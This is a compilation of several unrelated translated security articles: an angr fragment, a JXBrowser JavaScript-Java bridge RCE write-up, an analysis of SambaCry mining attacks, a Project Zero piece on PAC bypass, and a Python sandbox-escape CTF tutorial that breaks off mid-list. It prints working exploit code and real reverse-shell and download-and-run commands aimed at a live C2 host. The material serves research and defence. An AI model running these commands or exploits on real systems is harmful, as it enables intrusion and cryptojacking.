上面这个解决方案的思路是，因为我们需要的是无约束状态，如果出现了约束状态下的解则求解失败，故有`and (not
has_found_solution())`，且有待检查的状态才继续循环遍历所有的状态。最终的结果是找到了一个未约束状态
接下来的代码和之前的大同小异，就不再赘述
> Tips：出现一些奇怪的问题，建议参考一下官方关于Angr在改用Python3之后的一些API变化：
>
> Migrating to angr 8 ——
> <https://docs.angr.io/appendix/migration#deprecations-and-name-changes>
## 参考文献
【1】angr官方文档—— <https://docs.angr.io/core-concepts>
【2】angr 系列教程(一）核心概念及模块解读—— <https://xz.aliyun.com/t/7117#toc-14>
【3】Enhancing Symbolic Execution with Veritesting —— Carnegie Mellon University
【4】angr 文档翻译(1-2):加载一个二进制文件——CLE和angr工程 ——
<https://www.jianshu.com/p/f660800bb70f> | 社区文章 |
原文链接：[PortSwigger Web Security Blog](http://blog.portswigger.net/2016/12/rce-in-jxbrowser-javascriptjava-bridge.html)
原作者： **Gareth Heyes**
译： **Holic (知道创宇404安全实验室)**
最近发现自己在使用 [JXBrowser](https://www.teamdev.com/jxbrowser) 给实验性扫描技术制作原型，这是一个在
Java 应用中使用类似 PhantomJS 浏览器的库。在使用 JXBrowser 库创建 JavaScript 与 Java
之间的桥接时，我很好奇是否可以通过调用与现有不同的类，来攻击 JXBrowser 的客户端页面，从而实现远程代码执行的目的。我的 [JavaScript
to Java
bridge](https://jxbrowser.support.teamdev.com/support/solutions/articles/9000013062-calling-java-from-javascript) 如下所示：
browser.addScriptContextListener(new ScriptContextAdapter() {
@Override
public void onScriptContextCreated(ScriptContextEvent event) {
Browser browser = event.getBrowser();
JSValue window = browser.executeJavaScriptAndReturnValue("window");
window.asObject().setProperty("someObj", new someJavaClass());
}
});
本例取自 JXBrowser 演示站点，基本原理是将一个脚本注入到浏览器实例中，检索 window 对象并将其转换为 Java JSValue 对象，然后将
"someObj" 设置到 window 上，并将 Java 对象传递给 JavaScript
window对象。如此，便桥接成功了。相关文档说，只能使用公共类。一旦我们创建了一个桥，我们就需要一些 JavaScript 与之交互。
setTimeout(function f(){
if(window.someObj && typeof window.someObj.javaFunction === 'function') {
window.someObj.javaFunction("Called Java function from JavaScript");
} else {
setTimeout(f,0);
}
},0);
我们有一个 setTimeout 来检测 "someObj" 属性的存在，它不会调用自身，除非我们这么做。我首先尝试使用 getRuntime()
查看是否可以获取运行时（runtime）对象的一个实例并执行 calc。我是这么调用的：
window.someObj.getClass().forName('java.lang.Runtime').getRuntime();
得到以下错误回显：
> Neither public field nor method named 'getRuntime' exists in the
> java.lang.Class Java object.
(找不到 getRuntime 方法)
难道不能调用 getRuntime？我试着用更简单方法：
window.someObj.getClass().getSuperclass().getName();
貌似有效。我也试过枚举现有方法。
methods = window.someObj.getClass().getSuperclass().getMethods();
for(i=0;i<methods.length();i++) {
console.log(methods[i].getName());
}
wait
wait
wait
equals
toString
hashCode
getClass
notify
notifyAll
所以我能够成功枚举出这些方法。我决定尝试使用 ProcessBuilder
，看看接下来会发生什么。但每次试图调用构造函数时，我都失败了。看起来构造函数要求一个 Java 数组。这样的话，我需要创建一个 Java
数组的字符串，以便将它传递给 ProcessBuilder 构造函数。
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance("open","-a Calculator");
//Failed
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(["open","-a Calculator"]);
//Failed too
稍微抛开这个问题，我试着创建另一个对象，证明了漏洞的存在。现在可以成功创建 java.net.Socket 类的一个实例。
window.someObj.getClass().forName("java.net.Socket").newInstance();
我试图调用这个对象的 "connect" 方法，却遇到了参数类型不正确的问题。这确实证明，尽管我可以创建 socket
对象，但我不能使用它们，好在我可以创建它们。而这里需要注意一点，我没有给此方法传递任何参数。接下来我又试了 java.io.File
类，也失败了。我别无选择只能使用反射，但任何时候我都不能给函数提供正确类型的参数。newInstance 不可行，同样不能调用。
我需要援助，我需要 Java 专家帮我。幸运的是，在 Portswigger 工作，你永远不是屋子里最聪明的那个 :)。我向 Mike 和 Patrick
寻求帮助。我说明了将参数传递给函数要求一个 Java 数组的问题，所以我们开始寻求在 Java-JavaScript 桥中创建数组的方法。
Mike 认为使用数组列表可以解决，因为我们可以方便地使用 toArray 方法，将其转换为一个数组。
list = window.someObj.getClass().forName("java.util.ArrayList").newInstance();
list.add("open");
list.add("-a");
list.add("Calculator");
a = list.toArray();
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));
这次的函数调用抛出了没有该方法的异常，并声明了我们的参数传递实际上是一个 JSObject。因此，即使我们创建了一个 ArrayList，toArray
被桥转换为一个 JS 对象，因此错误的参数类型被发送到进程生成器。
然后，我们尝试创建一个 Array。我们又使用了反射，在 java.lang.reflect.Array
上调用了新的实例。但它再次抛出参数类型不正确的异常，我们发送一个 double，但它要求一个 int。然后我们尝试使用 java.lang.Integer
。但是还是遇到这个问题。Patrick 认为我们可以使用 MAX_INT 属性创建一个巨大的数组 :) ，至少我们会得到 int 。然而“桥”把来自
java 的 int 转换为 double。
这便是我们试过的：
list = window.someObj.getClass().forName("java.util.ArrayList").newInstance();
list.add("open");
list.add("-a");
list.add("Calculator");
a = list.toArray();
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));
我们得到了空指针异常，而且没有参数也不行，但这就是 JavaScript ，我想，为何没发送 123，将其作为参数。我认为它不会生效，但它实际上输出了我们的
max int。我们继续尝试用 max int 调用 Array
构造函数，当然也失败了。然后我们决定查看运行时（runtime）对象，看看能否使用相同的技术。Mike 建议使用 getDeclaredField
，并获取当前运行时的属性，使其可被访问，因为它是一个私有属性，我们很开心地看到弹出了计算器。
field = window.someObj.getClass().forName('java.lang.Runtime').getDeclaredField("currentRuntime");
field.setAccessible(true);
runtime = field.get(123);
runtime.exec("open -a Calculator");
这意味着通过使用 JavaScript-Java 桥的代码在 JXBrowser 中呈现的网站，都可能完全控制客户端。
我们私下向 TeamDev（JXBrowser 的制造商）报告了这个问题，他们发布了一个补丁，支持使用 [@JSAccessible
注释]()规定允许的属性/方法的白名单。请注意，如果应用程序在任何地方都不使用 @JSAccessible
注释，白名单不会被强制执行，上述利用脚本依然有效。
Enjoy - [@garethheyes](https://twitter.com/garethheyes)
* * * | 社区文章 |
# 【技术分享】SambaCry 野外利用分析
|
##### 译文声明
本文是翻译文章，文章来源：奇虎360技术博客
原文地址：<http://blogs.360.cn/blog/sambacry-%E9%87%8E%E5%A4%96%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
* * *
[**【漏洞分析】Samba远程代码执行漏洞(CVE-2017-7494)-SambaCry分析报告**](http://bobao.360.cn/learning/detail/3915.html)
**Author: redrain & houjingyi159 @360网络安全响应中心**
**“2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，漏洞影响了Samba
3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear
Team第一时间对该漏洞进行了分析，确认属于严重漏洞，可以造成远程代码执行。”——**[
**http://bobao.360.cn/learning/detail/3915.html**](http://bobao.360.cn/learning/detail/3915.html)
****
SambaCry漏洞是一个具备规模传播的蠕虫性质漏洞，近期卡巴斯基安全实验室通过蜜罐捕获了一个通过SambaCry漏洞恶意利用bot进行区块连数字货币挖矿的攻击。
在此，360网络安全中心和360追日团队对该事件所使用的后门进行了具体的技术分析。
**漏洞利用**
因为该漏洞需要对smb共享盘符有可写权限，从卡巴斯基实验室的蜜罐捕获的攻击包来看，攻击者首先对server尝试写入一个随机字符名的文件，成功后则删除。
在检测成功有可写权限后，攻击者暴力猜解写入文件的完整路径，以获得共享目录路径，并写入恶意lib作为payload。
在爆破到正确的路径后，则利用CVE-2017-7494漏洞加载恶意lib执行命令，因为samba默认是以root权限启动，所以之后加载lib执行的命令也将以root权限执行，成功利用后，则删除写入的lib，只在内存中执行恶意命令操作。
恶意lib样本349d84b3b176bbc9834230351ef3bc2a_16106.so(INAebsGB.so)和2009af3fed2a4704c224694dfc4b31dc_30361.so(cblRWuoCc.so)
**样本分析**
在INAebsGB.so中，攻击者用/bin/sh执行了一个非常简单的反弹shell操作，从而执行下载文件或者执行后续命令。
发现这个lib其实就是metasploit的is_known_pipename模块生成的。
其后，写入了另一个libcblRWuoCc.so，在这个lib中，攻击者，反弹shell到C2服务器4000端口并下载了一个挖矿程序，将bot作为CPU矿机使用，这个样本中，我们定位了C2服务器和挖矿程序。
执行的行为中:
bash -i < /dev/tcp/rc.ezreal.space/4000 || ((wget http://rc.ezreal.space/minerd64_s -O /tmp/m || curl http://rc.ezreal.space/minerd64_s -o /tmp/m) && chmod +x /tmp/m && (nohup /tmp/m &))
攻击者下载<http://rc.ezreal.space/minerd64_s> 并存于/tmp/m赋予权限后nohup执行。
简单对C2服务器查询如下:
rc.ezreal.space
A记录 149.255.35.33
时间 IP 国家 省／州 运营商
2017-05-17 149.255.35.33 美国 伊利诺伊州 swiftway.net
2017-05-15 149.255.35.33 美国 伊利诺伊州 swiftway.net
2017-04-30 185.86.150.76 瑞典 西约塔兰省
www.ezreal.space 191.101.31.100
cl.ezreal.space 191.101.31.100
rc2.ezreal.space 149.255.35.77
rc.ezreal.space 149.255.35.33
**typo黑客？**
在我连接C2服务器rc.ezreal.space4000端口后，看到了以下脚本:
#!/usr/bin/env bash
host='149.255.35.33';
nohup bash -i < /dev/tcp/${host}/4001 &
nohuo bash -i < /dev/tcp/${host}/4002 &
nohuo bash -i < /dev/tcp/${host}/4003 &
攻击者本想通过nohup来忽略系统挂断进行后台运行，但不知道是不是粗心手抖的原因，nohup打成了nohuo
访问其他三个端口，得到这几个脚本:
➜ /tmp nc 149.255.35.33 4001
#!/usr/bin/env bash
#minerd script
host='149.255.35.33';
target=$RANDOM; target+=.so; target=/tmp/$target;
cat < /dev/tcp/${host}/5000 > $target && chmod +x $target && nohup $target &
➜ /tmp nc 149.255.35.33 4002
#!/usr/bin/env bash
# process guard script
➜ /tmp nc 149.255.35.33 4003
#!/usr/bin/env bash
# auto start script%
C2中5000端口获取到的miner程序和从http中下载获得的一致
**miner分析**
到现在为止，这个C2服务器依旧存活，下载minerd64_s并简单分析，发现就是个常见的CPU挖矿程序miderd但是攻击者并没有像常见的附加参数，而是把所有参数硬编码进程序puts了需要执行的参数。
在这里很快找到了攻击者的矿池和钱包地址:
.rodata:0000000000515604 00000026 C stratum+tcp://xmr.crypto-pool.fr:3333
.rodata:00000000005156CC 00000060 C 43xtViRHn1oibjS6yZSgS6XhFFkSRGC5SHgmymH6ei4r5osjPrC1z85BeCZS89ZtL4iDGDoUhEoKtcVe115Wp7sB6XzHmgy
通过矿池Transaction查询，得知该攻击者挖的是一种山寨币’XDN’和’XMR’，查看近期的转入情况，发现收益还不错:)
**另一次攻击**
本以为至此我们的分析和卡巴斯基相差无二准备下班回家，但发现360追日团队还提供了一个样本1bb17e0d03ebd5acafbe60b70e38dec4.so(oooo.so)
该lib和cblRWuoCc.so非常类似，但是执行操作并不同
仅仅只是反弹连接了C2服务器的一个端口，连接后返回一个shell脚本:
#!/usr/bin/env bash
#minerd script
pkill .so;
host='45.76.146.166';
target=$RANDOM; target+=.so; target=/tmp/$target;
cat < /dev/tcp/${host}/5555 > $target && chmod +x $target && nohup $target &
访问45.76.146.166:5555 又得到一个miner程序，该miner的区别在于矿池和钱包地址
.rodata:0000000000515604 00000024 C stratum+tcp://pool.minexmr.com:4444
.rodata:00000000005156CC 00000060 C 4AxoWMDfiPkh1PDHeyDi2TRpHC8hxHKY6ACtWRSY9Um4PuwPqjn9vAhdsSshmGu1RbZBUgKX42f584jGENHwXxsVGENHoGV
**总结**
从SambaCry漏洞披露之初我们就预计将会有黑客对其进行恶意利用，并从中获利，联想到不久前因为EternalBlue爆发的Wannacry事件，黑客攻击正在变得常态化，尤其是有通用且极易利用漏洞曝光时，攻击事件也可能随之而来。随着比特币的增值，其他虚拟货币价值也伴随增长，这也给黑客通过网络攻击进行获利提供了变现渠道。。
**时间线**
2017-5-24 Samba发布了4.6.4版本，修复了远程代码执行漏洞CVE-2017-7494
2017-5-25 360网络安全响应中心和360信息安全部联合发布预警公告和第一份漏洞分析
2017-5-30 卡巴斯基安全实验室首次通过蜜罐捕获了SambaCry的野外恶意利用
2017-6-12 360网络安全响应中心和360追日团队联合对攻击方式进行技术分析
**参考来源**
<https://securelist.com/sambacry-is-coming/78674/>
**传送门**
[**【漏洞分析】Samba远程代码执行漏洞(CVE-2017-7494)-SambaCry分析报告**](http://bobao.360.cn/learning/detail/3915.html) | 社区文章 |
# 看我如何绕过 iPhone XS 中指针验证机制 (上)
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中，我将研究苹果在 iPhone XS 中使用的 A12
芯片上实现的指针验证技术，重点是苹果在ARM标准上的改进。然后，我演示了一种伪造内核指针的 PAC 签名的方法，借助于JOP(Jump-Oriented
Programming)，这足以在内核中执行任意代码。遗憾的是，这项技术都在 12.1.3 中基本上被修复。事实上，针对这个漏洞的修复最初是出现在
16D5032a beta 版中，而当时我的研究已经在进行中了。
## ARMv8.3-A 指针验证
在ARMv8.3-A中，引入最大的防护机制是指针验证功能。引入指针验证后，当前大部的 POC 脚本都会失效。这个功能主要是利用指针的高位来存储
_指针验证码_ (PAC, Pointer Authentication
Code)。它本质上就是一个指针值和一段附加信息的密码签名。在ARMv8.3-A中引入了一些特殊的指令，用于对指针 PAC
的添加，验证以及恢复。这使系统能够在密码层面确保某些指针不被攻击者篡改，从而极大地提高应用程序的安全性。
指针验证的基本想法是，尽管指针的长度是64比特，大部分的系统的虚拟地址空间是远远比这个小的，这样会在指针中留下一些没有使用的位，而这些位可以用来存储额外的信息。在指针验证中，这些空闲位被用来存储一个比较短的验证码，这个验证码就是指的对原始的
64 位指针和 64 位上下文的签名。我们可以在将指针写入内存之前向每个想要保护的指针中插入
PAC，并在使用它之前验证它的完整性。攻击者想要修改受保护指针，必须找到或猜解正确的 PAC 才能控制程序流。
在系统的实现中，系统可以定义自己的算法来实现 PAC 的签名与验证，但是白皮书中建议使用 QARMA 分组密码。白皮书称，QARMA
是专门为指针验证设计的“一种轻量级可调整的块密码家族”，它能够接受一个128位密钥、一个64位明文值(指针)和一个64位tweak(上下文)作为输入，并生成一个64位的密文。最后，将密文截断后成为
PAC, PAC 被插入到指针未使用的扩展位中。
已经有许多文章来描述指针验证了，所以我在这里也只需要粗略的描述一些原理。
感兴趣的读者可以参考[Qualcomm的白皮书](https://www.qualcomm.com/media/documents/files/whitepaper-pointer-authentication-on-armv8-3.pdf)、Mark
Rutland在2017年Linux安全峰会上的[幻灯片](https://events.static.linuxfound.org/sites/events/files/slides/slides_23.pdf)、Jonathan
Corbet的[LWN文章](https://lwn.net/Articles/718888/)以及[ARM
A64指令集架构](https://static.docs.arm.com/ddi0596/a/DDI_0596_ARM_a64_instruction_set_architecture.pdf)以获得更多细节。
在PAC机制中，系统提供了 5 个 128 比特的密钥。其中两个密钥（ APIAKey 和 APIBKey ）用于指令指针。另外两个（ APDAKey 和
APDBKey ）用与数据指针。最后还有一个密钥（ APGAKey ）是一个特殊的通用密钥，用于通过 PACGA
指令对较大的数据块进行签名。提供多个密钥能够使系统对指针替换攻击具有一些基本的保护能力。
这些密钥的值会写入了一个特殊的系统寄存器中。这个寄存器在 EL0
中是无法访问的，意味着用户空间的进程不能读取或者修改它们。然而，在硬件层面没有提供任何其他的密钥管理功能：由每个异常级别(EL, Exception
Level)运行的代码来管理较低异常级别的密钥。
为了处理 PAC, ARMv8.3-A 新引入了三类指令：
1. PAC* 类指令可以向指针中生成和插入 PAC。 比如，PACIA X8，X9 可以在寄存器X8中以 X9 为上下文，APIAKey 为密钥，为指针计算 PAC，并且将结果写回到 X8 中。同样的 PACIZA 跟 PACIA 类似，不过上下文固定为0。
2. AUT* 类指令可以验证一个指针的 PAC。 如果PAC是合法的，将会还原原始的指针。否则，将会在指针的扩展位中将会被写入错误码，在指针被简接引用时，会触发错误。比如，AUTIA X8,X9 可以以 X9 为上下文，验证 X8 寄存器中的指针。当验证成功时会将指针写回 X8，失败时则写回一个错误码。
3. XPAC* 类指令可以移除一个指针的 PAC 并且在不验证指针有效性的前提下恢复指针的原始值。
为了将指针认证与现有的操作结合起来，除了这些一般的指针认证指令外，还引入了一些特殊的变体指令：
1. BLRA* 类指令实现了一个 “authenticate-and-branch” 的操作：如果指针是合法的，则会直接branch到该地址。比如，BLRAA X8,X9 可以用指令密钥A（APIAKey），并且以 X9 作为上下文验证 X8 指针的合法性，如果合法则会 branch 到结果地址上。
2. LDRA* 类指令实现了一个 “authenticate-and-load” 的操作：如果指针是合法的，则会直接load到该地址。比如，LDRAA X8,X9 可以用数据密钥A（APDAKey），验证指针 X9, 上下文为 0，如果合法，则会将结果load到X8中。
3. RETA* 类指令实现了一个 “authenticate-and-return” 的操作：如果LR寄存器合法，则会执行RET指令。比如，RETAB 将会利用指令密钥B（APIBKey）验证 LR 的合法性，并且返回。
## 一个缺陷:签名组件
在我们开始分析 PAC 之前，我需要首先提一下一个已知的缺陷：如果一个攻击者有读写权限，可以调用系统的签名组件(signing gadgets)，那么
PAC
是可以被绕过的。签名组件指的是一组可用于对任意指针签名的指令序列。如果攻击者可以触发一个函数的执行，签名组件就从内存中读取指针、添加PAC并将其写回，那么攻击者就可以利用这个过程来伪造任意指针的PAC。
## 面对内核层攻击者的设计缺陷
就像Qualcomm白皮书中所说的那样，ARMv8.3
中指针验证设计的目的是，在攻击者具有任意内存读写权限的情况下来为系统提供一定程度的保护。然而我们的威胁模型中，内核攻击者已经有了读写权限，并且希望通过在内核指针上伪造
PAC 来执行任意代码。在面对内核层次攻击者时，我指出了设计中的三个潜在弱点:
攻击者从内存中读取PAC密钥、在用户空间中对内核指针进行签名，以及使用 B 类密钥对 A 类密钥的指针进行签名(反之亦然)。接下来我们将依次讨论每个问题。
### 从内核层的内存中读取PAC密钥
首先，我们考虑一下最主要的攻击形式：攻击者从内核空间的内存中读取PAC密钥，然后计算任意内核指针的PAC。以下是白皮书中关于这类攻击者部分的摘录:
指针验证的目的是抵抗内存泄露攻击。PAC 是使用强加密算法保护的，因此从内存中读取加密后的指针都不比伪造指针简单。
PAC 密钥存储在寄存器中，这些寄存器不能从用户态(EL0)直接访问。因此，普通的内存泄露漏洞是不能用于提取 PAC 密钥的。
虽然这个描述是正确的，但是它仅仅适用于攻击用户空间程序，而不是攻击内核本身。最近的 iOS 设备似乎没有运行 hypervisor (EL2)或
secure monitor(EL3)，这意味着在系统内核(EL1)必须管理自己的 PAC
密钥。由于存储密钥的系统寄存器在内核休眠时将被清除，PAC密钥不得不存储在内核的内存中。因此，具有内核空间内存访问权限的攻击者可能会读取密钥，并使用密钥来算出任意指针的
PAC。
当然，这种攻击方法是假定了我们能够知道生成PAC是使用了什么算法，我们能够在用户态中实现它。
但是，按照苹果的一贯作风，他们有很大的可能会实现一个自己的算法来替代 QARMA，而不是直接使用 QARMA。
如果是这样的话，那么即使攻击者知道了 PAC 密钥，还是不足以伪造指针的 PAC:
要么我们对苹果的芯片进行逆向来还原签名算法，要么我们必须找到一种方法来利用现有的机制来为我们的伪造指针签名。
### 跨 EL 层的PAC伪造
一种可能的方法是通过在用户空间中执行相应的PAC*指令来伪造内核指针的PAC。虽然这听起来不太可能，但有几个原因可以说明这是可行的。
苹果可能已经决定对EL0和EL1使用相同的PAC密钥，在这种情况下，我们可以直接从用户空间对内核空间的指针执行 PACIA 指令，来伪造一个内核的指针的
PAC。在文档中可以看出来，描述 PAC* 指令的伪代码并不区分该指令是在EL0还是在EL1上执行的，因此内核态与用户态应该具有相同的调用方式。
下面就是 AddPACIA() 函数的伪代码，描述了类似 PACIA 指令的实现:
// AddPACIA()
// ==========
// Returns a 64-bit value containing X, but replacing the pointer
// authentication code field bits with a pointer authentication code, where the
// pointer authentication code is derived using a cryptographic algorithm as a
// combination of X, Y, and the APIAKey_EL1.
bits(64) AddPACIA(bits(64) X, bits(64) Y)
boolean TrapEL2;
boolean TrapEL3;
bits(1) Enable;
bits(128) APIAKey_EL1;
APIAKey_EL1 = APIAKeyHi_EL1<63:0>:APIAKeyLo_EL1<63:0>;
case PSTATE.EL of
when EL0
boolean IsEL1Regime = S1TranslationRegime() == EL1;
Enable = if IsEL1Regime then SCTLR_EL1.EnIA else SCTLR_EL2.EnIA;
TrapEL2 = (EL2Enabled() && HCR_EL2.API == '0' &&
(HCR_EL2.TGE == '0' || HCR_EL2.E2H == '0'));
TrapEL3 = HaveEL(EL3) && SCR_EL3.API == '0';
when EL1
Enable = SCTLR_EL1.EnIA;
TrapEL2 = EL2Enabled() && HCR_EL2.API == '0';
TrapEL3 = HaveEL(EL3) && SCR_EL3.API == '0';
...
if Enable == '0' then return X;
elsif TrapEL2 then TrapPACUse(EL2);
elsif TrapEL3 then TrapPACUse(EL3);
else return AddPAC(X, Y, APIAKey_EL1, FALSE);
下面是 AddPAC() 函数的伪代码：
/ AddPAC()
// ========
// Calculates the pointer authentication code for a 64-bit quantity and then
// inserts that into pointer authentication code field of that 64-bit quantity.
bits(64) AddPAC(bits(64) ptr, bits(64) modifier, bits(128) K, boolean data)
bits(64) PAC;
bits(64) result;
bits(64) ext_ptr;
bits(64) extfield;
bit selbit;
boolean tbi = CalculateTBI(ptr, data);
integer top_bit = if tbi then 55 else 63;
// If tagged pointers are in use for a regime with two TTBRs, use bit<55> of
// the pointer to select between upper and lower ranges, and preserve this.
// This handles the awkward case where there is apparently no correct
// choice between the upper and lower address range - ie an addr of
// 1xxxxxxx0... with TBI0=0 and TBI1=1 and 0xxxxxxx1 with TBI1=0 and
// TBI0=1:
if PtrHasUpperAndLowerAddRanges() then
...
else selbit = if tbi then ptr<55> else ptr<63>;
integer bottom_PAC_bit = CalculateBottomPACBit(selbit);
// The pointer authentication code field takes all the available bits in
// between
extfield = Replicate(selbit, 64);
// Compute the pointer authentication code for a ptr with good extension bits
if tbi then
ext_ptr = ptr<63:56>:extfield<(56-bottom_PAC_bit)-1:0>:ptr<bottom_PAC_bit-1:0>;
else
ext_ptr = extfield<(64-bottom_PAC_bit)-1:0>:ptr<bottom_PAC_bit-1:0>;
PAC = ComputePAC(ext_ptr, modifier, K<127:64>, K<63:0>);
// Check if the ptr has good extension bits and corrupt the pointer
// authentication code if not;
if !IsZero(ptr<top_bit:bottom_PAC_bit>) && !IsOnes(ptr<top_bit:bottom_PAC_bit>) then
PAC<top_bit-1> = NOT(PAC<top_bit-1>);
// Preserve the determination between upper and lower address at bit<55>
// and insert PAC
if tbi then
result = ptr<63:56>:selbit:PAC<54:bottom_PAC_bit>:ptr<bottom_PAC_bit-1:0>;
else
result = PAC<63:56>:selbit:PAC<54:bottom_PAC_bit>:ptr<bottom_PAC_bit-1:0>;
return result;
由此可以看出，在执行 PACIA 时，无论运行在 EL0 和 EL1，在操作上并没有太大的区别。这意味着如果苹果对两个不同级别的指针使用了相同的 PAC
密钥，那么我们就可以在用户空间中执行 PACIA 函数来为内核空间中指针生成 PAC。
当然，苹果似乎不太可能在它们的系统中留下如此明显的漏洞。但即使如此，由于 EL0 与 EL1
的对称性，我们仍然可以在用户空间中生成内核空间指针的签名，只不过需要函数需要的密钥替换为内核空间的密钥即可。在苹果使用新算法替代QARMA的情况下，这个方法会非常有用，因为我们可以重用现有的签名算法，而不必对其进行反向工程。
### 交叉密钥伪造 PAC
除了 EL0 与 EL1 之间算法的对称性，我们还可以利用它们密钥之间的对称性来生成伪造的 PAC : PACIA, PACIB, PACDA, and
PACDB 这些密钥都可以看作为相同算法的不同参数。因此，如果我们可以用一个 PAC 密钥来替换另一个 PAC 密钥(A 与
B交换)，那么我们就可以将一个密钥签名的过程替换成了另一个密钥的签名过程。
虽然这种方案并不是特别强大，但是这个方法在某些情况下十分有用。比如，如果 PAC 算法是未知的，并且有一些机制能阻止我们将用户空间 PAC 密钥设置为与内核
PAC 密钥相等，我们将不能进行跨 EL 伪造，但是我们却可以利用这种方案。虽然我们还是需要依赖 PAC
签名工具，但是这种技术将使我们摆脱签名工具使用固定密钥进行签名的限制，可能会使我们的签名工具多样化。
## 小结
在本文中，我们介绍了指针验证的原理，分析了指针验证的一些缺陷，并在理论上提出了一些可能的方案来绕过以及伪造指针验证机制。在下一篇文章中，我们会根据真实的场景，利用几个已知的漏洞来绕过
A12 芯片中的指针验证，并伪造指针验证码。 | 社区文章 |
# 【技术分享】从一个CTF题目学习Python沙箱逃逸
|
##### 译文声明
本文是翻译文章，文章来源：isis.poly.edu
原文地址：<http://blog.isis.poly.edu/ctf/exploitation%20techniques/2012/10/26/escaping-python-sandboxes/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[beswing](http://bobao.360.cn/member/contribute?uid=820455891)
预估稿费：190RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
作为一个CTF爱好者，又是一个Bin选手，在国外各种受虐的同时，总是能学到不少的东西。最近，和师傅们在做国外的CTF题，做到一种Pwn题目，是需要选手在Python的沙箱达到逃逸的目的，获取flag。在谷歌的过程中，找到了一篇不错的博文。
**正文**
注意：这是为Python 2.7.3编写的。这些细节可能在其他版本的Python – 特别是Python3 – 有所不同！
尝试逃离沙箱总是一个有趣的挑战。Python沙箱也不例外。在静态语言中，这通常通过分析代码来查看是否调用某些函数，或者用确认验证的代码包装危险函数来完成。然而，这在动态语言（如Python）中有点更具挑战性。
沙盒的一个简单方法是扫描脚本的内容，以查找危险的特定关键字或函数，例如eval，exec，execfile和import。这可以很容易地通过编码我们的脚本来侧面攻击。[PEP-0263](http://www.python.org/dev/peps/pep-0263/)，这里有更加详细的介绍。
但只要你有# coding:<encoding>脚本的前两行之一，Python解释器将解释这个编码的整个脚本
# coding: rot_13
# "import evil_module" encoded in ROT13
'vzcbeg rivy_zbqhyr'
显然，我们需要一种更好的思路来进行逃逸。但是这之前，我们需要了解一些背景知识。
**背景知识**
我们知道，dir可以作为我们检Python对象的第一个工具。引用docs:“Without arguments, return the list of
names in the current local scope. With an argument, attempt to return a list
of valid attributes for that object.”，就是说，“
没有参数，返回当前本地作用域中的名称列表。使用参数，尝试返回该对象的有效属性的列表。“
它并不声称是完整的，一个类可以定义一个__dir__方法，但现在我们可以假设它是正确的。
我经常使用的第二个函数是type()，简单来说，传入一个参数，它将会返回对象的类型。一旦知道一个对象的存在，使用type()你将会更充分的理解它。再次，引用文档：“
返回对象的类型。返回值是一个类型对象。“。
那么开始我们接下来的试验。
当执行开始时，以下对象在本地作用域中（yay dir()！）：
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']
从这些，__builtins__是最有趣。
>>> type(__builtins__)
<type 'module'>
嗯，让我们看看Python语言参考：
“一个模块对象有一个由字典对象实现的命名空间…属性引用被转换为这个字典中的查找，例如，m.x等同于m.dict["x"]”
现在，我们可以通过运行dir(__ builtins__)来检查内置函数。这个列表有点长。条目是所有内置类型和函数。
所以现在让我们重温前面的沙盒测试的字符串检查方法。也许你没有能力改变整个文件的编码。您仍然可以通过访问模块的底层dict，然后使用变量访问所需的函数来对单个函数调用的名称进行编码。所以让我们import
os使用内置函数稍微狡猾的方式调用import：首先获取base64版本的字符串"import"和"os"：
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
把它放在一起：
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
<module 'os' from '/usr/lib/python2.7/os.pyc'>
嗯，所以使用文本过滤到沙盒代码很明显。
也许我们可以采取另一种方法在过滤，基于使用builtins.dict。因为builtins.dict是一个代表我们的环境可用的所有内置函数的字典，如果我们修改其中一个条目，我们可以改变环境的可用内容。
例如，abs函数返回数字的绝对值：
>>> abs(-1)
1
**尝试攻击**
现在，让我们做更多的操作
>>> __builtins__.__dict__['abs'] = None
>>> abs(-1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object is not callable
该del语句删除一个对象的引用：
>>> del __builtins__.__dict__['abs']
>>> abs(-1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'abs' is not defined
我们刚刚删除了环境调用的能力abs！所以现在我们有另一种方法来处理Python沙盒 – 删除许多“危险”内置函数。
让我们做一个小的危险函数列表：
>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous
>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
嗯，这看起来有点安全，对吧？
>>> import os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: __import__ not found
等一下！
reload(module) 重新加载导入的模块，并执行代码 – 所以模块被导回到我们的命名空间。
>>> reload(__builtins__)
>>> import os
>>> dir(os)
我想我们必须将其添加到列表中。
>>> del __builtins__.__dict__['reload'] # they might reload __builtins__ !
好。所以现在我们有一个安全的方法，对吧？我们阻止了沙箱中的任何人使用危险的内置命令，并且我们可以通过不允许他们对整个文件进行编码和扫描内容来阻止他们使用eval关键字。希望我们删除所有危险的内置函数。，
让我们重温一下[2012.hack.lu](http://2012.hack.lu/index.php/CaptureTheFlag)的比赛题目，在这次挑战中，你需要读取'./key'文件的内容。
他们首先通过删除引用来销毁打开文件的内置函数。然后它们允许您执行用户输入。看看他们的代码稍微修改的版本：
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
